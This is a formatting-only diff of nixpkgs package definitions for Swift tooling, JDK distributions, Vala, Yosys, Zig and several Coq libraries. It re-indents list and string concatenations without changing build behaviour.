index 810ccab2d612..a4b060f7829d 100644
--- a/pkgs/development/compilers/swift/swift-format/default.nix
+++ b/pkgs/development/compilers/swift/swift-format/default.nix
@@ -24,18 +24,16 @@ stdenv.mkDerivation {
   ];
   buildInputs = [ Foundation ];
 
-  configurePhase =
-    generated.configure
-    + ''
-      swiftpmMakeMutable swift-tools-support-core
-      patch -p1 -d .build/checkouts/swift-tools-support-core -i ${
-        fetchpatch {
-          url = "https://github.com/apple/swift-tools-support-core/commit/990afca47e75cce136d2f59e464577e68a164035.patch";
-          hash = "sha256-PLzWsp+syiUBHhEFS8+WyUcSae5p0Lhk7SSRdNvfouE=";
-          includes = [ "Sources/TSCBasic/FileSystem.swift" ];
-        }
+  configurePhase = generated.configure + ''
+    swiftpmMakeMutable swift-tools-support-core
+    patch -p1 -d .build/checkouts/swift-tools-support-core -i ${
+      fetchpatch {
+        url = "https://github.com/apple/swift-tools-support-core/commit/990afca47e75cce136d2f59e464577e68a164035.patch";
+        hash = "sha256-PLzWsp+syiUBHhEFS8+WyUcSae5p0Lhk7SSRdNvfouE=";
+        includes = [ "Sources/TSCBasic/FileSystem.swift" ];
       }
-    '';
+    }
+  '';
 
   # We only install the swift-format binary, so don't need the other products.
   swiftpmFlags = [ "--product swift-format" ];
diff --git a/pkgs/development/compilers/swift/swiftpm/default.nix b/pkgs/development/compilers/swift/swiftpm/default.nix
index be3e00d421b1..f43f04f491d0 100644
--- a/pkgs/development/compilers/swift/swiftpm/default.nix
+++ b/pkgs/development/compilers/swift/swiftpm/default.nix
@@ -78,21 +78,22 @@ let
   };
 
   # Tools invoked by swiftpm at run-time.
-  runtimeDeps =
-    [ git ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      xcbuild.xcrun
-      # These tools are part of cctools, but adding that as a build input puts
-      # an unwrapped linker in PATH, and breaks builds. This small derivation
-      # exposes just the tools we need:
-      # - vtool is used to determine a minimum deployment target.
-      # - libtool is used to build static libraries.
-      (runCommandLocal "swiftpm-cctools" { } ''
-        mkdir -p $out/bin
-        ln -s ${cctools}/bin/vtool $out/bin/vtool
-        ln -s ${cctools}/bin/libtool $out/bin/libtool
-      '')
-    ];
+  runtimeDeps = [
+    git
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    xcbuild.xcrun
+    # These tools are part of cctools, but adding that as a build input puts
+    # an unwrapped linker in PATH, and breaks builds. This small derivation
+    # exposes just the tools we need:
+    # - vtool is used to determine a minimum deployment target.
+    # - libtool is used to build static libraries.
+    (runCommandLocal "swiftpm-cctools" { } ''
+      mkdir -p $out/bin
+      ln -s ${cctools}/bin/vtool $out/bin/vtool
+      ln -s ${cctools}/bin/libtool $out/bin/libtool
+    '')
+  ];
 
   # Common attributes for the bootstrap derivations.
   mkBootstrapDerivation =
@@ -223,20 +224,18 @@ let
       sqlite
     ];
 
-    postInstall =
-      cmakeGlue.TSC
-      + ''
-        # Swift modules are not installed.
-        mkdir -p $out/${swiftModuleSubdir}
-        cp swift/*.swift{module,doc} $out/${swiftModuleSubdir}/
+    postInstall = cmakeGlue.TSC + ''
+      # Swift modules are not installed.
+      mkdir -p $out/${swiftModuleSubdir}
+      cp swift/*.swift{module,doc} $out/${swiftModuleSubdir}/
 
-        # Static libs are not installed.
-        cp lib/*.a $out/lib/
+      # Static libs are not installed.
+      cp lib/*.a $out/lib/
 
-        # Headers are not installed.
-        mkdir -p $out/include
-        cp -r ../Sources/TSCclibc/include $out/include/TSC
-      '';
+      # Headers are not installed.
+      mkdir -p $out/include
+      cp -r ../Sources/TSCclibc/include $out/include/TSC
+    '';
   };
 
   swift-argument-parser = mkBootstrapDerivation {
@@ -306,16 +305,14 @@ let
       "-DLLBUILD_SUPPORT_BINDINGS=Swift"
     ];
 
-    postInstall =
-      cmakeGlue.LLBuild
-      + ''
-        # Install module map.
-        cp ../products/libllbuild/include/module.modulemap $out/include
+    postInstall = cmakeGlue.LLBuild + ''
+      # Install module map.
+      cp ../products/libllbuild/include/module.modulemap $out/include
 
-        # Swift modules are not installed.
-        mkdir -p $out/${swiftModuleSubdir}
-        cp products/llbuildSwift/*.swift{module,doc} $out/${swiftModuleSubdir}/
-      '';
+      # Swift modules are not installed.
+      mkdir -p $out/${swiftModuleSubdir}
+      cp products/llbuildSwift/*.swift{module,doc} $out/${swiftModuleSubdir}/
+    '';
   };
 
   swift-driver = mkBootstrapDerivation {
@@ -336,13 +333,11 @@ let
         --replace CYaml ""
     '';
 
-    postInstall =
-      cmakeGlue.SwiftDriver
-      + ''
-        # Swift modules are not installed.
-        mkdir -p $out/${swiftModuleSubdir}
-        cp swift/*.swift{module,doc} $out/${swiftModuleSubdir}/
-      '';
+    postInstall = cmakeGlue.SwiftDriver + ''
+      # Swift modules are not installed.
+      mkdir -p $out/${swiftModuleSubdir}
+      cp swift/*.swift{module,doc} $out/${swiftModuleSubdir}/
+    '';
   };
 
   swift-crypto = mkBootstrapDerivation {
@@ -357,15 +352,13 @@ let
         --replace /usr/bin/ranlib $NIX_CC/bin/ranlib
     '';
 
-    postInstall =
-      cmakeGlue.SwiftCrypto
-      + ''
-        # Static libs are not installed.
-        cp lib/*.a $out/lib/
+    postInstall = cmakeGlue.SwiftCrypto + ''
+      # Static libs are not installed.
+      cp lib/*.a $out/lib/
 
-        # Headers are not installed.
-        cp -r ../Sources/CCryptoBoringSSL/include $out/include
-      '';
+      # Headers are not installed.
+      cp -r ../Sources/CCryptoBoringSSL/include $out/include
+    '';
   };
 
   # Build a bootrapping swiftpm using CMake.
@@ -415,24 +408,22 @@ stdenv.mkDerivation (
       XCTest
     ];
 
-    configurePhase =
-      generated.configure
-      + ''
-        # Functionality provided by Xcode XCTest, but not available in
-        # swift-corelibs-xctest.
-        swiftpmMakeMutable swift-tools-support-core
-        substituteInPlace .build/checkouts/swift-tools-support-core/Sources/TSCTestSupport/XCTestCasePerf.swift \
-          --replace 'canImport(Darwin)' 'false'
-        patch -p1 -d .build/checkouts/swift-tools-support-core -i ${swift-tools-support-core-glibc-fix}
+    configurePhase = generated.configure + ''
+      # Functionality provided by Xcode XCTest, but not available in
+      # swift-corelibs-xctest.
+      swiftpmMakeMutable swift-tools-support-core
+      substituteInPlace .build/checkouts/swift-tools-support-core/Sources/TSCTestSupport/XCTestCasePerf.swift \
+        --replace 'canImport(Darwin)' 'false'
+      patch -p1 -d .build/checkouts/swift-tools-support-core -i ${swift-tools-support-core-glibc-fix}
 
-        # Prevent a warning about SDK directories we don't have.
-        swiftpmMakeMutable swift-driver
-        patch -p1 -d .build/checkouts/swift-driver -i ${
-          replaceVars ../swift-driver/patches/prevent-sdk-dirs-warnings.patch {
-            inherit (builtins) storeDir;
-          }
+      # Prevent a warning about SDK directories we don't have.
+      swiftpmMakeMutable swift-driver
+      patch -p1 -d .build/checkouts/swift-driver -i ${
+        replaceVars ../swift-driver/patches/prevent-sdk-dirs-warnings.patch {
+          inherit (builtins) storeDir;
         }
-      '';
+      }
+    '';
 
     buildPhase = ''
       TERM=dumb swift-build -c release
diff --git a/pkgs/development/compilers/swift/swiftpm2nix/support.nix b/pkgs/development/compilers/swift/swiftpm2nix/support.nix
index 1822c1c742a2..0ddab549b98d 100644
--- a/pkgs/development/compilers/swift/swiftpm2nix/support.nix
+++ b/pkgs/development/compilers/swift/swiftpm2nix/support.nix
@@ -52,26 +52,25 @@ rec {
       );
 
       # Configure phase snippet for use in packaging.
-      configure =
-        ''
-          mkdir -p .build/checkouts
-          ln -sf ${pinFile} ./Package.resolved
-          install -m 0600 ${workspaceStateFile} ./.build/workspace-state.json
-        ''
-        + concatStrings (
-          mapAttrsToList (name: src: ''
-            ln -s '${src}' '.build/checkouts/${name}'
-          '') sources
-        )
-        + ''
-          # Helper that makes a swiftpm dependency mutable by copying the source.
-          swiftpmMakeMutable() {
-            local orig="$(readlink .build/checkouts/$1)"
-            rm .build/checkouts/$1
-            cp -r "$orig" .build/checkouts/$1
-            chmod -R u+w .build/checkouts/$1
-          }
-        '';
+      configure = ''
+        mkdir -p .build/checkouts
+        ln -sf ${pinFile} ./Package.resolved
+        install -m 0600 ${workspaceStateFile} ./.build/workspace-state.json
+      ''
+      + concatStrings (
+        mapAttrsToList (name: src: ''
+          ln -s '${src}' '.build/checkouts/${name}'
+        '') sources
+      )
+      + ''
+        # Helper that makes a swiftpm dependency mutable by copying the source.
+        swiftpmMakeMutable() {
+          local orig="$(readlink .build/checkouts/$1)"
+          rm .build/checkouts/$1
+          cp -r "$orig" .build/checkouts/$1
+          chmod -R u+w .build/checkouts/$1
+        }
+      '';
 
     };
 
diff --git a/pkgs/development/compilers/swift/xctest/default.nix b/pkgs/development/compilers/swift/xctest/default.nix
index 86818c76db19..8aab616b0ae0 100644
--- a/pkgs/development/compilers/swift/xctest/default.nix
+++ b/pkgs/development/compilers/swift/xctest/default.nix
@@ -24,7 +24,8 @@ stdenv.mkDerivation {
     cmake
     ninja
     swift
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin DarwinTools; # sw_vers
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin DarwinTools; # sw_vers
   buildInputs = [ Foundation ];
 
   postPatch = lib.optionalString stdenv.hostPlatform.isDarwin ''
diff --git a/pkgs/development/compilers/temurin-bin/jdk-linux-base.nix b/pkgs/development/compilers/temurin-bin/jdk-linux-base.nix
index 0eb936085094..f8bc5452f58e 100644
--- a/pkgs/development/compilers/temurin-bin/jdk-linux-base.nix
+++ b/pkgs/development/compilers/temurin-bin/jdk-linux-base.nix
@@ -32,15 +32,14 @@
 
 let
   cpuName = stdenv.hostPlatform.parsed.cpu.name;
-  runtimeDependencies =
-    [
-      cups
-    ]
-    ++ lib.optionals gtkSupport [
-      cairo
-      glib
-      gtk3
-    ];
+  runtimeDependencies = [
+    cups
+  ]
+  ++ lib.optionals gtkSupport [
+    cairo
+    glib
+    gtk3
+  ];
   runtimeLibraryPath = lib.makeLibraryPath runtimeDependencies;
   validCpuTypes = builtins.attrNames lib.systems.parse.cpuTypes;
   providedCpuTypes = builtins.filter (arch: builtins.elem arch validCpuTypes) (
@@ -70,7 +69,8 @@ let
       xorg.libXrender
       xorg.libXtst
       zlib
-    ] ++ lib.optional stdenv.hostPlatform.isAarch32 libffi;
+    ]
+    ++ lib.optional stdenv.hostPlatform.isAarch32 libffi;
 
     nativeBuildInputs = [
       autoPatchelfHook
diff --git a/pkgs/development/compilers/vala/default.nix b/pkgs/development/compilers/vala/default.nix
index 33ed87c4bf28..709e13a0fd43 100644
--- a/pkgs/development/compilers/vala/default.nix
+++ b/pkgs/development/compilers/vala/default.nix
@@ -74,27 +74,25 @@ let
         "devdoc"
       ];
 
-      nativeBuildInputs =
-        [
-          pkg-config
-          flex
-          bison
-          libxslt
-          gobject-introspection
-        ]
-        ++ lib.optional (stdenv.hostPlatform.isDarwin) expat
-        ++ lib.optional disableGraphviz autoreconfHook # if we changed our ./configure script, need to reconfigure
-        ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ vala ]
-        ++ extraNativeBuildInputs;
+      nativeBuildInputs = [
+        pkg-config
+        flex
+        bison
+        libxslt
+        gobject-introspection
+      ]
+      ++ lib.optional (stdenv.hostPlatform.isDarwin) expat
+      ++ lib.optional disableGraphviz autoreconfHook # if we changed our ./configure script, need to reconfigure
+      ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ vala ]
+      ++ extraNativeBuildInputs;
 
-      buildInputs =
-        [
-          glib
-          libiconv
-          libintl
-        ]
-        ++ lib.optional (withGraphviz) graphviz
-        ++ extraBuildInputs;
+      buildInputs = [
+        glib
+        libiconv
+        libintl
+      ]
+      ++ lib.optional (withGraphviz) graphviz
+      ++ extraBuildInputs;
 
       enableParallelBuilding = true;
 
diff --git a/pkgs/development/compilers/yosys/default.nix b/pkgs/development/compilers/yosys/default.nix
index 708d1fd40d10..46e6acc61d09 100644
--- a/pkgs/development/compilers/yosys/default.nix
+++ b/pkgs/development/compilers/yosys/default.nix
@@ -71,7 +71,8 @@ let
   allPlugins = {
     bluespec = yosys-bluespec;
     ghdl = yosys-ghdl;
-  } // (yosys-symbiflow);
+  }
+  // (yosys-symbiflow);
 
   boost_python = boost.override {
     enablePython = true;
@@ -120,7 +121,8 @@ stdenv.mkDerivation (finalAttrs: {
         click
       ]
     ))
-  ] ++ lib.optional enablePython boost_python;
+  ]
+  ++ lib.optional enablePython boost_python;
 
   makeFlags = [ "PREFIX=${placeholder "out"}" ];
 
@@ -136,21 +138,20 @@ stdenv.mkDerivation (finalAttrs: {
     patchShebangs tests ./misc/yosys-config.in
   '';
 
-  preBuild =
-    ''
-      chmod -R u+w .
-      make config-${if stdenv.cc.isClang or false then "clang" else "gcc"}
+  preBuild = ''
+    chmod -R u+w .
+    make config-${if stdenv.cc.isClang or false then "clang" else "gcc"}
 
-      if ! grep -q "YOSYS_VER := $version" Makefile; then
-        echo "ERROR: yosys version in Makefile isn't equivalent to version of the nix package (allegedly ${finalAttrs.version}), failing."
-        exit 1
-      fi
-    ''
-    + lib.optionalString enablePython ''
-      echo "ENABLE_PYOSYS := 1" >> Makefile.conf
-      echo "PYTHON_DESTDIR := $out/${python3.sitePackages}" >> Makefile.conf
-      echo "BOOST_PYTHON_LIB := -lboost_python${lib.versions.major python3.version}${lib.versions.minor python3.version}" >> Makefile.conf
-    '';
+    if ! grep -q "YOSYS_VER := $version" Makefile; then
+      echo "ERROR: yosys version in Makefile isn't equivalent to version of the nix package (allegedly ${finalAttrs.version}), failing."
+      exit 1
+    fi
+  ''
+  + lib.optionalString enablePython ''
+    echo "ENABLE_PYOSYS := 1" >> Makefile.conf
+    echo "PYTHON_DESTDIR := $out/${python3.sitePackages}" >> Makefile.conf
+    echo "BOOST_PYTHON_LIB := -lboost_python${lib.versions.major python3.version}${lib.versions.minor python3.version}" >> Makefile.conf
+  '';
 
   preCheck = ''
     # autotest.sh automatically compiles a utility during startup if it's out of date.
diff --git a/pkgs/development/compilers/zig/default.nix b/pkgs/development/compilers/zig/default.nix
index 20e2a8f24b2a..e1df722f9071 100644
--- a/pkgs/development/compilers/zig/default.nix
+++ b/pkgs/development/compilers/zig/default.nix
@@ -20,7 +20,8 @@ let
       llvmPackages = llvmPackages_19;
       hash = "sha256-DhVJIY/z12PJZdb5j4dnCRb7k1CmeQVOnayYRP8azDI=";
     };
-  } // zigVersions;
+  }
+  // zigVersions;
 
   mkPackage =
     {
diff --git a/pkgs/development/compilers/zig/generic.nix b/pkgs/development/compilers/zig/generic.nix
index 8e0f8317f619..61523667e712 100644
--- a/pkgs/development/compilers/zig/generic.nix
+++ b/pkgs/development/compilers/zig/generic.nix
@@ -32,27 +32,25 @@ stdenv.mkDerivation (finalAttrs: {
 
   patches = args.patches or [ ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      (lib.getDev llvmPackages.llvm.dev)
-      ninja
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # provides xcode-select, which is required for SDK detection
-      xcbuild
-    ];
+  nativeBuildInputs = [
+    cmake
+    (lib.getDev llvmPackages.llvm.dev)
+    ninja
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # provides xcode-select, which is required for SDK detection
+    xcbuild
+  ];
 
-  buildInputs =
-    [
-      libxml2
-      zlib
-    ]
-    ++ (with llvmPackages; [
-      libclang
-      lld
-      llvm
-    ]);
+  buildInputs = [
+    libxml2
+    zlib
+  ]
+  ++ (with llvmPackages; [
+    libclang
+    lld
+    llvm
+  ]);
 
   cmakeFlags = [
     # file RPATH_CHANGE could not write new RPATH
@@ -155,14 +153,13 @@ stdenv.mkDerivation (finalAttrs: {
     cc = wrapCCWith {
       cc = finalAttrs.finalPackage.cc-unwrapped;
       bintools = finalAttrs.finalPackage.bintools;
-      nixSupport.cc-cflags =
-        [
-          "-target"
-          "${stdenv.targetPlatform.config}"
-        ]
-        ++ lib.optional (
-          stdenv.targetPlatform.isLinux && !(stdenv.targetPlatform.isStatic or false)
-        ) "-Wl,-dynamic-linker=${targetPackages.stdenv.cc.bintools.dynamicLinker}";
+      nixSupport.cc-cflags = [
+        "-target"
+        "${stdenv.targetPlatform.config}"
+      ]
+      ++ lib.optional (
+        stdenv.targetPlatform.isLinux && !(stdenv.targetPlatform.isStatic or false)
+      ) "-Wl,-dynamic-linker=${targetPackages.stdenv.cc.bintools.dynamicLinker}";
     };
 
     stdenv = overrideCC stdenv finalAttrs.finalPackage.cc;
diff --git a/pkgs/development/compilers/zig/hook.nix b/pkgs/development/compilers/zig/hook.nix
index 0eba0d5bed12..b199728eb7bd 100644
--- a/pkgs/development/compilers/zig/hook.nix
+++ b/pkgs/development/compilers/zig/hook.nix
@@ -9,11 +9,12 @@
 makeSetupHook {
   name = "zig-hook";
 
-  propagatedBuildInputs =
-    [ zig ]
-    # while xcrun is already included in the darwin stdenv, Zig also needs
-    # xcode-select (provided by xcbuild) for SDK detection
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
+  propagatedBuildInputs = [
+    zig
+  ]
+  # while xcrun is already included in the darwin stdenv, Zig also needs
+  # xcode-select (provided by xcbuild) for SDK detection
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
 
   substitutions = {
     # This zig_default_flags below is meant to avoid CPU feature impurity in
diff --git a/pkgs/development/compilers/zulu/common.nix b/pkgs/development/compilers/zulu/common.nix
index fbc8c97f8c78..c5763bc85a45 100644
--- a/pkgs/development/compilers/zulu/common.nix
+++ b/pkgs/development/compilers/zulu/common.nix
@@ -45,21 +45,20 @@ let
     .${stdenv.hostPlatform.parsed.kernel.name}
       or (throw "Unsupported platform: ${stdenv.hostPlatform.parsed.kernel.name}");
 
-  runtimeDependencies =
-    [
-      cups
-    ]
-    ++ lib.optionals gtkSupport [
-      cairo
-      glib
-      gtk3
-    ]
-    ++ lib.optionals (gtkSupport && lib.versionOlder dist.jdkVersion "17") [
-      gtk2
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && enableJavaFX) [
-      ffmpeg.lib
-    ];
+  runtimeDependencies = [
+    cups
+  ]
+  ++ lib.optionals gtkSupport [
+    cairo
+    glib
+    gtk3
+  ]
+  ++ lib.optionals (gtkSupport && lib.versionOlder dist.jdkVersion "17") [
+    gtk2
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && enableJavaFX) [
+    ffmpeg.lib
+  ];
 
   runtimeLibraryPath = lib.makeLibraryPath runtimeDependencies;
 
@@ -82,14 +81,13 @@ let
       curlOpts = "-H Referer:https://www.azul.com/downloads/zulu/";
     };
 
-    nativeBuildInputs =
-      [
-        unzip
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        autoPatchelfHook
-        makeWrapper
-      ];
+    nativeBuildInputs = [
+      unzip
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      autoPatchelfHook
+      makeWrapper
+    ];
 
     buildInputs =
       lib.optionals stdenv.hostPlatform.isLinux [
@@ -116,60 +114,58 @@ let
       else
         null;
 
-    installPhase =
-      ''
-        mkdir -p $out
-        mv * $out
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        mkdir -p $out/Library/Java/JavaVirtualMachines
-        bundle=$out/Library/Java/JavaVirtualMachines/zulu-${lib.versions.major version}.jdk
-        mv $out/zulu-${lib.versions.major version}.jdk $bundle
-        ln -sf $bundle/Contents/Home/* $out/
-      ''
-      + ''
+    installPhase = ''
+      mkdir -p $out
+      mv * $out
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      mkdir -p $out/Library/Java/JavaVirtualMachines
+      bundle=$out/Library/Java/JavaVirtualMachines/zulu-${lib.versions.major version}.jdk
+      mv $out/zulu-${lib.versions.major version}.jdk $bundle
+      ln -sf $bundle/Contents/Home/* $out/
+    ''
+    + ''
 
-        unzip ${jce-policies}
-        mv -f ZuluJCEPolicies/*.jar $out/${lib.optionalString isJdk8 "jre/"}lib/security/
+      unzip ${jce-policies}
+      mv -f ZuluJCEPolicies/*.jar $out/${lib.optionalString isJdk8 "jre/"}lib/security/
 
-        # jni.h expects jni_md.h to be in the header search path.
-        ln -s $out/include/${stdenv.hostPlatform.parsed.kernel.name}/*_md.h $out/include/
+      # jni.h expects jni_md.h to be in the header search path.
+      ln -s $out/include/${stdenv.hostPlatform.parsed.kernel.name}/*_md.h $out/include/
 
-        if [ -f $out/LICENSE ]; then
-          install -D $out/LICENSE $out/share/zulu/LICENSE
-          rm $out/LICENSE
+      if [ -f $out/LICENSE ]; then
+        install -D $out/LICENSE $out/share/zulu/LICENSE
+        rm $out/LICENSE
+      fi
+    '';
+
+    preFixup = ''
+      # Propagate the setJavaClassPath setup hook from the ${if isJdk8 then "JRE" else "JDK"} so that
+      # any package that depends on the ${if isJdk8 then "JRE" else "JDK"} has $CLASSPATH set up
+      # properly.
+      mkdir -p $out/nix-support
+      printWords ${setJavaClassPath} > $out/nix-support/propagated-build-inputs
+
+      # Set JAVA_HOME automatically.
+      cat <<EOF >> $out/nix-support/setup-hook
+      if [ -z "\''${JAVA_HOME-}" ]; then export JAVA_HOME=$out; fi
+      EOF
+    ''
+    + lib.optionalString stdenv.hostPlatform.isLinux ''
+      # We cannot use -exec since wrapProgram is a function but not a command.
+      #
+      # jspawnhelper is executed from JVM, so it doesn't need to wrap it, and it
+      # breaks building OpenJDK (#114495).
+      for bin in $( find "$out" -executable -type f -not -name jspawnhelper ); do
+        if patchelf --print-interpreter "$bin" &> /dev/null; then
+          wrapProgram "$bin" --prefix LD_LIBRARY_PATH : "${runtimeLibraryPath}"
         fi
-      '';
-
-    preFixup =
-      ''
-        # Propagate the setJavaClassPath setup hook from the ${if isJdk8 then "JRE" else "JDK"} so that
-        # any package that depends on the ${if isJdk8 then "JRE" else "JDK"} has $CLASSPATH set up
-        # properly.
-        mkdir -p $out/nix-support
-        printWords ${setJavaClassPath} > $out/nix-support/propagated-build-inputs
-
-        # Set JAVA_HOME automatically.
-        cat <<EOF >> $out/nix-support/setup-hook
-        if [ -z "\''${JAVA_HOME-}" ]; then export JAVA_HOME=$out; fi
-        EOF
-      ''
-      + lib.optionalString stdenv.hostPlatform.isLinux ''
-        # We cannot use -exec since wrapProgram is a function but not a command.
-        #
-        # jspawnhelper is executed from JVM, so it doesn't need to wrap it, and it
-        # breaks building OpenJDK (#114495).
-        for bin in $( find "$out" -executable -type f -not -name jspawnhelper ); do
-          if patchelf --print-interpreter "$bin" &> /dev/null; then
-            wrapProgram "$bin" --prefix LD_LIBRARY_PATH : "${runtimeLibraryPath}"
-          fi
-        done
-      ''
-      # FIXME: move all of the above to installPhase.
-      + lib.optionalString stdenv.hostPlatform.isLinux ''
-        find "$out" -name libfontmanager.so -exec \
-          patchelf --add-needed libfontconfig.so {} \;
-      '';
+      done
+    ''
+    # FIXME: move all of the above to installPhase.
+    + lib.optionalString stdenv.hostPlatform.isLinux ''
+      find "$out" -name libfontmanager.so -exec \
+        patchelf --add-needed libfontconfig.so {} \;
+    '';
 
     # fixupPhase is moving the man to share/man which breaks it because it's a
     # relative symlink.
diff --git a/pkgs/development/coq-modules/QuickChick/default.nix b/pkgs/development/coq-modules/QuickChick/default.nix
index bb85278f28cc..180a703c1be0 100644
--- a/pkgs/development/coq-modules/QuickChick/default.nix
+++ b/pkgs/development/coq-modules/QuickChick/default.nix
@@ -126,12 +126,13 @@ in
 
   mlPlugin = true;
   nativeBuildInputs = lib.optional recent coq.ocamlPackages.ocamlbuild;
-  propagatedBuildInputs =
-    [ mathcomp-boot ]
-    ++ lib.optionals recent [
-      ExtLib
-      simple-io
-    ];
+  propagatedBuildInputs = [
+    mathcomp-boot
+  ]
+  ++ lib.optionals recent [
+    ExtLib
+    simple-io
+  ];
   extraInstallFlags = [ "-f Makefile.coq" ];
 
   enableParallelBuilding = false;
diff --git a/pkgs/development/coq-modules/VST/default.nix b/pkgs/development/coq-modules/VST/default.nix
index a7d8b805f067..46ef83d66a3f 100644
--- a/pkgs/development/coq-modules/VST/default.nix
+++ b/pkgs/development/coq-modules/VST/default.nix
@@ -11,17 +11,16 @@
 #  but that may be useful to some users.
 # They depend on ITree.
 let
-  extra_floyd_files =
-    [
-      "ASTsize.v"
-      "io_events.v"
-      "powerlater.v"
-    ]
-    # floyd/printf.v is broken in VST 2.9
-    ++ lib.optional (!lib.versions.isGe "8.13" coq.coq-version) "printf.v"
-    ++ [
-      "quickprogram.v"
-    ];
+  extra_floyd_files = [
+    "ASTsize.v"
+    "io_events.v"
+    "powerlater.v"
+  ]
+  # floyd/printf.v is broken in VST 2.9
+  ++ lib.optional (!lib.versions.isGe "8.13" coq.coq-version) "printf.v"
+  ++ [
+    "quickprogram.v"
+  ];
 in
 
 mkCoqDerivation {
diff --git a/pkgs/development/coq-modules/hydra-battles/default.nix b/pkgs/development/coq-modules/hydra-battles/default.nix
index 74f57cc77d62..91d93717779f 100644
--- a/pkgs/development/coq-modules/hydra-battles/default.nix
+++ b/pkgs/development/coq-modules/hydra-battles/default.nix
@@ -58,6 +58,7 @@
     {
       propagatedBuildInputs = [
         equations
-      ] ++ lib.optional (lib.versions.isGe "0.6" version || version == "dev") LibHyps;
+      ]
+      ++ lib.optional (lib.versions.isGe "0.6" version || version == "dev") LibHyps;
     }
   )
diff --git a/pkgs/development/coq-modules/mathcomp/default.nix b/pkgs/development/coq-modules/mathcomp/default.nix
index 963fd6e2b6d2..4f81483ba63c 100644
--- a/pkgs/development/coq-modules/mathcomp/default.nix
+++ b/pkgs/development/coq-modules/mathcomp/default.nix
@@ -187,21 +187,20 @@ let
 
           buildFlags = lib.optional withDoc "doc";
 
-          preBuild =
-            ''
-              if [[ -f etc/utils/ssrcoqdep ]]
-              then patchShebangs etc/utils/ssrcoqdep
-              fi
-              if [[ -f etc/buildlibgraph ]]
-              then patchShebangs etc/buildlibgraph
-              fi
-            ''
-            + ''
-              # handle mathcomp < 2.4.0 which had an extra base mathcomp directory
-              test -d mathcomp && cd mathcomp
-              cd ${pkgpath} || cd ssreflect  # before 2.5, boot didn't exist, make it behave as ssreflect
-            ''
-            + lib.optionalString (package == "all") pkgallMake;
+          preBuild = ''
+            if [[ -f etc/utils/ssrcoqdep ]]
+            then patchShebangs etc/utils/ssrcoqdep
+            fi
+            if [[ -f etc/buildlibgraph ]]
+            then patchShebangs etc/buildlibgraph
+            fi
+          ''
+          + ''
+            # handle mathcomp < 2.4.0 which had an extra base mathcomp directory
+            test -d mathcomp && cd mathcomp
+            cd ${pkgpath} || cd ssreflect  # before 2.5, boot didn't exist, make it behave as ssreflect
+          ''
+          + lib.optionalString (package == "all") pkgallMake;
 
           meta = {
             homepage = "https://math-comp.github.io/";
diff --git a/pkgs/development/coq-modules/metacoq/default.nix b/pkgs/development/coq-modules/metacoq/default.nix
index 99c79f4e5fba..caf6ad9b08c6 100644
--- a/pkgs/development/coq-modules/metacoq/default.nix
+++ b/pkgs/development/coq-modules/metacoq/default.nix
@@ -148,7 +148,8 @@ let
             propagatedBuildInputs = [
               equations
               coq.ocamlPackages.zarith
-            ] ++ metacoq-deps;
+            ]
+            ++ metacoq-deps;
 
             patchPhase =
               if lib.versionAtLeast coq.coq-version "8.17" || coq.coq-version == "dev" then
@@ -218,8 +219,7 @@ let
             in
             {
               propagatedBuildInputs =
-                o.propagatedBuildInputs
-                ++ lib.optional requiresOcamlStdlibShims coq.ocamlPackages.stdlib-shims;
+                o.propagatedBuildInputs ++ lib.optional requiresOcamlStdlibShims coq.ocamlPackages.stdlib-shims;
             }
           );
       # utils, common, template-pcuic, quotation, safechecker-plugin, and erasure-plugin
diff --git a/pkgs/development/coq-modules/metarocq/default.nix b/pkgs/development/coq-modules/metarocq/default.nix
index 6eea8465cc67..a1ad14a6f620 100644
--- a/pkgs/development/coq-modules/metarocq/default.nix
+++ b/pkgs/development/coq-modules/metarocq/default.nix
@@ -88,7 +88,8 @@ let
             equations
             coq.ocamlPackages.zarith
             coq.ocamlPackages.stdlib-shims
-          ] ++ metarocq-deps;
+          ]
+          ++ metarocq-deps;
 
           patchPhase = ''
             patchShebangs ./configure.sh
diff --git a/pkgs/development/coq-modules/simple-io/default.nix b/pkgs/development/coq-modules/simple-io/default.nix
index bb4443433e12..73bbc4384db2 100644
--- a/pkgs/development/coq-modules/simple-io/default.nix
+++ b/pkgs/development/coq-modules/simple-io/default.nix
@@ -34,13 +34,14 @@
   release."1.3.0".sha256 = "1yp7ca36jyl9kz35ghxig45x6cd0bny2bpmy058359p94wc617ax";
   mlPlugin = true;
   nativeBuildInputs = [ coq.ocamlPackages.cppo ];
-  propagatedBuildInputs =
-    [ ExtLib ]
-    ++ (with coq.ocamlPackages; [
-      ocaml
-      findlib
-      ocamlbuild
-    ]);
+  propagatedBuildInputs = [
+    ExtLib
+  ]
+  ++ (with coq.ocamlPackages; [
+    ocaml
+    findlib
+    ocamlbuild
+  ]);
 
   doCheck = true;
   checkTarget = "test";
diff --git a/pkgs/development/coq-modules/smtcoq/default.nix b/pkgs/development/coq-modules/smtcoq/default.nix
index e91368462e79..313c14300361 100644
--- a/pkgs/development/coq-modules/smtcoq/default.nix
+++ b/pkgs/development/coq-modules/smtcoq/default.nix
@@ -75,18 +75,17 @@ mkCoqDerivation {
       }
     ] null;
 
-  propagatedBuildInputs =
-    [
-      cvc5
-      # veriT'  # c.f. comment above
-      zchaff
-      stdlib
-    ]
-    ++ (with coq.ocamlPackages; [
-      findlib
-      num
-      zarith
-    ]);
+  propagatedBuildInputs = [
+    cvc5
+    # veriT'  # c.f. comment above
+    zchaff
+    stdlib
+  ]
+  ++ (with coq.ocamlPackages; [
+    findlib
+    num
+    zarith
+  ]);
   mlPlugin = true;
